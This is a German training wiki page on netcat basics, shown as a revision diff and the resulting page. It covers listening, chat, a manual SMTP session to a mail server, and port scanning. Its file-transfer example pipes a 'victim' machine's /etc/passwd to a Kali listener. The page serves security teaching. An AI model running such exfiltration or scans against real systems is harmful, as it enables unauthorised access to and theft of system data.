Netcat Basics: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 27: Zeile 27:
 
=Connect a Mailserver=
 
=Connect a Mailserver=
 
;auf yun
 
;auf yun
*nc red 25
+
*nc mail.tcpdump.de 25
 
  220 red ESMTP Postfix (Ubuntu)
 
  220 red ESMTP Postfix (Ubuntu)
 +
 +
'''ehlo kit.de'''
 +
250-mail.tcpdump.de
 +
250-PIPELINING
 +
250-SIZE 10240000
 +
250-VRFY
 +
250-ETRN
 +
250-STARTTLS
 +
250-AUTH PLAIN
 +
250-ENHANCEDSTATUSCODES
 +
250-8BITMIME
 +
250-DSN
 +
250-SMTPUTF8
 +
250 CHUNKING
 +
'''mail from: kit13@kit.de'''
 +
250 2.1.0 Ok
 +
'''rcpt to: thomas@xinux.de'''
 +
250 2.1.5 Ok
 +
'''data'''
 +
354 End data with <CR><LF>.<CR><LF>
 +
'''Subject: testmail vom kit'''
 +
 +
'''Hallo Thomas Gruss vom Kit'''
 +
 +
'''.'''
 +
250 2.0.0 Ok: queued as A66DE260542
 +
'''quit'''
 +
221 2.0.0 Bye
 +
 
=Scan=
 
=Scan=
 
;auf yun
 
;auf yun

Version vom 3. Februar 2026, 10:52 Uhr

Listen

Chat

auf kali
  • nc -l -p 6789
auf kali
  • ss -lntp | grep 6789


Chat

local
auf kali
  • nc -l -p 6789
auf kali
  • nc kali 6789
Net
auf kali
  • nc -l -p 6789
auf opfer
  • nc kali 6789

Filetransfer

auf kali
  • nc -l -p 6789 > /tmp/passwd
auf opfer
  • cat /etc/passwd | nc kali 6789

Connect a Mailserver

auf yun
  • nc mail.tcpdump.de 25
220 red ESMTP Postfix (Ubuntu)
ehlo kit.de
250-mail.tcpdump.de
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
mail from: kit13@kit.de
250 2.1.0 Ok
rcpt to: thomas@xinux.de
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Subject: testmail vom kit

Hallo Thomas Gruss vom Kit

.
250 2.0.0 Ok: queued as A66DE260542
quit

221 2.0.0 Bye

Scan

auf yun
  • netcat -w 1 -z red 9999 ; echo $?

0

erfolgreich
  • netcat -w 1 -z red 9999 ; echo $?

1

nicht erfolgreich

Scan von Port 22 bis Port 80

  • netcat -z -v 10.0.10.103 22-80